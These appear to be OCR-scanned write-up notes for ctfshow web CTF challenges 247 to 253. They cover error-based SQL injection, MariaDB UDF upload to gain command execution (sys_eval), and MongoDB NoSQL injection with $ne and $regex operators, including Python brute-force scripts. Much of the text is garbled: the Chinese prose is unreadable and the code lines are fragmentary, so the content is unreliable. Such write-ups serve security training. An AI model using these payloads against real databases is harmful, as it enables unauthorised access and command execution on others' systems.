X2MYSQLIERE 758747 Brll& % Kpayload iy

/api/?id="' union select 1,count(*),concat((select "flag?  from ctfshow_flagsa ), 0x7e,round(rand(©)*2))b from in

formation_schema.tables group by b --+

web248
eval

UDFiEN . R B 1% B B A 215 2

$sql $id ;

EREAS, X B EEE & B0 4

IS5 2 B F3HLF Kplugin B %

Bk 1'; select @@plugin_dir; --+2 H #42 A/usr/lib/mariadb/plugin/

#RJ5CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’; //'5 Audfifi £
FAERENG#EE

import requests










0,21510, 5000
5000




payload.append(udf[i:end

text, payload

for t in text
url base_url
plt t
7 requests.get(url

print(r.status_code

next_url base_url

rn requests.get(next_url

uaf_url=base_url
r=requests.get(uaf_url
nn_url base url

rnn requests.get(nn_url

print(rnn.text

ARG 52— T AARE LS — G RN

echo




base64 -d usr/lib/mariadb/plugin/udf.so




create function sys eval returns string soname

select sys eval( ) g

web249

Fisnosql, flagfEflagH

sqliEf)

$user $memcache->get($id);

HPAER
https://www.anquanke.com/post/id/97211
http://rui0.cn/archives/609
RIERME LT Bp 4
/api/?id[]=flag

web250

sqliEf)

$query = new MongoDB\Driver\Query($data);

$cursor = $manager->executeQuery( , $query)->toArray();

iR B

if(count($cursor)>0){
$ret[ ] ;
array_push($ret][ 1, $flag);

)", function{data){

R 2 BT ARAN S E B S B (Sne R A HEFKI B E)

username[$ne]=1&password[$ne]=1



https://www.anquanke.com/post/id/97211
http://rui0.cn/archives/609

web251
&R E—i&payload

HREHEHFRflag, i

{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$o0id":"61de6a5b504d14f773a7a95b"}, "userna

me" :"admin", "password":"ctfshow666nnneeaaabbbcc"}]}

i username A~ % T-admin
username[$ne]=admin&password[$ne]=1
web252

sqlig4]

db.ctfshow_user.find({username: ,password: }).pretty()

R [E]2

if(count($cursor)>0){
$ret[ ] 5
array_push($ret][ 1, $flag);
)i

mongodbifind().pretty() 5% KI1EFH .
FRERHROBIEERSTHEMERNER, FETAREE.

RIEEFMR, KIAFadminfladmint, Hmk A IE N SR 1L FH#KE

username[$regex]=~["admin].*$&password[$ne]=1

RegExp: /~["admin]/

None of:

sin 0

web253

sqliEA]

db.ctfshow_user.find({username: ,password: }).pretty()

iR B4R



if(count($cursor)>0){

$ret[ ] 5
array_push($ret] 1, $flag);

F E—iE&fpayload, [B]& 5 & f R Ih{E £ ¥ flag

FRERMEEREN, FIENILE Hfag, %MHpayload1fdatal, A2

import requests

import string

string.digits+string.ascii_lowercase+string.ascii_uppercase

for j in table:
tmp = flag+j
payloadl {tmp}
datal = { :payloadil

> 11}

payload2 {tmp}
data2 {

s :payload2}
requests.post(url=url, data=data2).text
in r:
flag J
print(flag)
break
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